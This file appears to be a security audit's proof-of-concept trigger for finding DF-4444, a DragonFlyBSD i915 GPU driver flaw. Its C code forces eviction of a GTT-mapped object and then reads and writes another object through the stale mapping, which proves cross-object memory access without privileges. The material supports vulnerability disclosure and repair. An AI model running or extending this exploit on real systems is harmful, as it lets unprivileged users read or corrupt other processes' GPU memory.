⬢ DragonFlyBSD Kernel Audit
DF-4444 / df4444_trigger.c
← back to finding ↓ download raw
/*
 * DF-4444 trigger: stale GGTT-aperture user mappings survive VMA unbind
 *                   on DragonFly (no-op drm_vma_node_unmap)
 *
 * Target  : DragonFlyBSD sys/dev/drm/i915/i915_vma.c:857-890
 * Needs   : an Intel GPU driven by i915.ko (this QEMU guest has only
 *           virtio-gpu 0x1234:1111, so the trigger stops at device-open;
 *           the run.log in this pack shows exactly that).
 * Privs   : none beyond opening the render node.
 *
 * Idea:
 *   1. GTT-map object A (I915_MMAP_GTT), touch it -> i915_gem_fault pins A
 *      into the mappable GGTT, enters fictitious aperture pages into our
 *      pmap and sets vma USERFAULT (i915_gem.c:2440).
 *   2. Fill the mappable GGTT with GTT-mapped objects -> the MM evicts the
 *      now-inactive A: i915_vma_unbind -> i915_vma_revoke_mmap
 *      (i915_vma.c:1146) -> DF drm_vma_node_unmap (i915_vma.c:906) which
 *      removes nothing (see VERDICT.md) -> our PTEs stay valid, pointing at
 *      the aperture window that A used to occupy.
 *   3. GTT-map + fill victim object V with a marker pattern. The drm_mm
 *      allocator reuses A's freed node range for V (same size class).
 *   4. Read through A's stale mapping: seeing V's marker (instead of A's
 *      own fill pattern) proves cross-object read. Write through it and
 *      observe V's own mapping change -> proves cross-object write.
 *
 * Build: cc -O2 -o df4444 df4444_trigger.c   (self-contained, DF userland)
 */

#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <err.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* ---- minimal DRM uapi, inlined from sys/dev/drm/include/uapi/drm ---- */
struct d4444_gem_create {
	uint64_t size;
	uint32_t handle;
	uint32_t pad;
};
struct d4444_gem_mmap_gtt {
	uint32_t handle;
	uint32_t pad;
	uint64_t offset;
};
struct d4444_gem_close {
	uint32_t handle;
	uint32_t pad;
};

#define DRM_IOCTL_BASE		'd'
#define DRM_COMMAND_BASE	0x40

/* DRM_IOCTL_GEM_CREATE      DRM_IOWR(0x3e, ...) */
#define D4444_IOCTL_GEM_CREATE \
	_IOWR(DRM_IOCTL_BASE, 0x3e, struct d4444_gem_create)
/* DRM_I915_GEM_MMAP_GTT = 0x09 -> DRM_IOWR(DRM_COMMAND_BASE+0x09, ...) */
#define D4444_IOCTL_MMAP_GTT \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x09, struct d4444_gem_mmap_gtt)
/* DRM_IOCTL_GEM_CLOSE       DRM_IOWR(0x09, ...) */
#define D4444_IOCTL_GEM_CLOSE \
	_IOWR(DRM_IOCTL_BASE, 0x09, struct d4444_gem_close)

#define OBJ_SIZE	(1UL << 20)		/* 1 MiB objects */
#define PRESSURE_OBJS	384			/* ~384 MiB > typical 256MiB mappable */
#define A_FILL		0xAA
#define V_MARKER1	0xdeadbeefU
#define V_MARKER2	0xcafebabeU

static int
gem_create(int fd, uint64_t size, uint32_t *handle)
{
	struct d4444_gem_create gc;

	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	if (ioctl(fd, D4444_IOCTL_GEM_CREATE, &gc) < 0)
		return (-1);
	*handle = gc.handle;
	return (0);
}

static void *
gtt_map(int fd, uint32_t handle, uint64_t size)
{
	struct d4444_gem_mmap_gtt mm;
	void *p;

	memset(&mm, 0, sizeof(mm));
	mm.handle = handle;
	if (ioctl(fd, D4444_IOCTL_MMAP_GTT, &mm) < 0)
		return (MAP_FAILED);
	p = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED,
	    fd, mm.offset);
	return (p);
}

int
main(void)
{
	const char *paths[] = { "/dev/dri/renderD128", "/dev/dri/card0",
				"/dev/dri/render0" };
	int fd = -1, i, j;
	uint32_t ha = 0, hv = 0;
	volatile uint32_t *a_ptr;
	uint32_t *v_ptr;

	for (i = 0; i < (int)(sizeof(paths) / sizeof(paths[0])); i++) {
		fd = open(paths[i], O_RDWR);
		if (fd >= 0)
			break;
	}
	if (fd < 0)
		errx(2, "no DRI device (this guest has no Intel GPU): %s",
		    "expected on QEMU/virtio-gpu");

	/* 1. object A, GTT-mapped, faulted, filled with A_FILL */
	if (gem_create(fd, OBJ_SIZE, &ha) < 0)
		err(1, "GEM_CREATE(A)");
	a_ptr = gtt_map(fd, ha, OBJ_SIZE);
	if (a_ptr == MAP_FAILED)
		err(1, "GTT mmap A");
	memset((void *)a_ptr, A_FILL, OBJ_SIZE);	/* faults every page */

	/* 2. GGTT mappable pressure to force eviction of inactive A */
	uint32_t hp[PRESSURE_OBJS];
	int np = 0;

	for (i = 0; i < PRESSURE_OBJS; i++) {
		uint32_t h;

		if (gem_create(fd, OBJ_SIZE, &h) < 0)
			break;
		void *p = gtt_map(fd, h, OBJ_SIZE);
		if (p == MAP_FAILED)
			break;
		memset(p, 0x55 + (i & 0x3f), OBJ_SIZE);	/* bind + fault */
		hp[np++] = h;
	}
	printf("pressure objects bound+faulted: %d\n", np);
	if (np < PRESSURE_OBJS / 2)
		warnx("insufficient GGTT pressure; eviction of A unlikely");

	/* 3. victim object V, GTT-mapped (should land in A's freed range),
	 *    filled with a marker through its OWN mapping                    */
	if (gem_create(fd, OBJ_SIZE, &hv) < 0)
		err(1, "GEM_CREATE(V)");
	v_ptr = gtt_map(fd, hv, OBJ_SIZE);
	if (v_ptr == MAP_FAILED)
		err(1, "GTT mmap V");
	for (j = 0; j < (int)(OBJ_SIZE / 4); j++)
		v_ptr[j] = (j & 1) ? V_MARKER1 : V_MARKER2;

	/* 4. read A's (stale?) mapping */
	uint32_t s0 = a_ptr[0], s1 = a_ptr[1];
	printf("A[0]=%08" PRIx32 " A[1]=%08" PRIx32 " "
	    "(A_fill=%02x, V markers=%08x/%08x)\n",
	    s0, s1, A_FILL, V_MARKER1, V_MARKER2);

	if (s0 == V_MARKER1 || s0 == V_MARKER2 ||
	    s1 == V_MARKER1 || s1 == V_MARKER2) {
		printf("VULNERABLE: stale mapping of A shows V's marker - "
		    "cross-object READ confirmed\n");
		/* prove the write direction too */
		a_ptr[0] = 0x1337c0de;
		if (v_ptr[0] == 0x1337c0de)
			printf("VULNERABLE: write through A hit V - "
			    "cross-object WRITE confirmed\n");
		return (0);
	}
	printf("not reproduced: A's mapping still sees A's own fill "
	    "(or faults, which would ALSO be the correct fixed behavior)\n");
	return (1);
}